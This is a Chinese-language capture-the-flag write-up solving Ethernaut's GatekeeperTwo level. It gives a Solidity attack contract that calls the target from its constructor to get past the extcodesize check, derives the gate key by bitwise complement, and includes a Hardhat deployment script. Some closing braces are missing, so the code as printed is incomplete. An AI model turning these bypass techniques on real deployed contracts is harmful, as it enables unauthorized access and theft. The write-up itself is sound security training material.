Openzeppelin区块链CTF练习——答案和解析【15】GataKeeperTwo
openzeppelin出的CTF练习题https://ethernaut.openzeppelin.com/level/0x0C791D1923c738AC8c4ACFD0A60382eE5FF08a23
一、题目
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^
uint64(_gateKey) ==
type(uint64).max
);
_;
}
function enter(
bytes8 _gateKey
) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
二、答案 ——解析在最后
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "hardhat/console.sol";
contract GatakeeperTwo_Attack {
bytes8 rightKey;
constructor() setKey {
address bugAddress = 0x4B7b6f4CDcA0EF8dcD145525C704469E2019b76D;//填自己的Instance address
console.log("Attack address this", address(this));
bool success;
(success, ) = bugAddress.call(
abi.encodeWithSignature("enter(bytes8)", rightKey)
);
}
modifier setKey() {
uint64 msgHash = uint64(
bytes8(keccak256(abi.encodePacked(address(this))))
);
uint64 _gateKey = ~msgHash & type(uint64).max;
if (
uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^
uint64(_gateKey) ==
type(uint64).max
) {
rightKey = bytes8(_gateKey);
console.log("key right!~~~~");
_;
}
}
js运行脚本
const { ethers } = require("hardhat");
// 主部署函数。
async function main() {
//从 ethers 提供的 signers 中获取签名者。
const [deployer, account2] = await ethers.getSigners();
console.log(`使用账户部署合约: ${deployer.address}`);
//部署攻击合约,同时进行攻击
const attackFactory = await ethers.getContractFactory("GatakeeperTwo_Attack");
const attack = await attackFactory.deploy();
const attackAddress = await attack.getAddress();
console.log(`Attack 合约 部署在 ${attackAddress}`);
// 执行主函数并处理可能的结果。
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
三、解析
第一关 需要msg.sender(:此函数的调用者)不能是tx.origin(:最初发起交易的外部账户地址)
解决方法: 因此我们需要通过合约地址去调用 enter() 函数。
第二关
extcodesize(caller()) 是EVM 操作码,作用是检查caller()的代码大小
如果调用者是一个 外部账户(EOA),extcodesize(caller()) 将返回 0。
如果调用者是一个 合约地址,则返回该合约的字节码大小。
解决方法:使用账户地址调用 enter() 函数。但是很明显这与第一关冲突了。然而,合约在构造函数执行期间,extcodesize(caller()) 也会返回 0,因为合约代码尚未部署。因此最终的解决方法是在另一个攻击合约的构造器中调用 enter() 函数
第三关
要求调用者的地址 (msg.sender) 生成的哈希值(取前 8 字节)与 _gateKey 进行按位异或(XOR)运算,结果必须等于 uint64 的最大值(type(uint64).max)。
解决方法:_gateKey = msg.sender哈希值的反码,就可以等于uint64Max。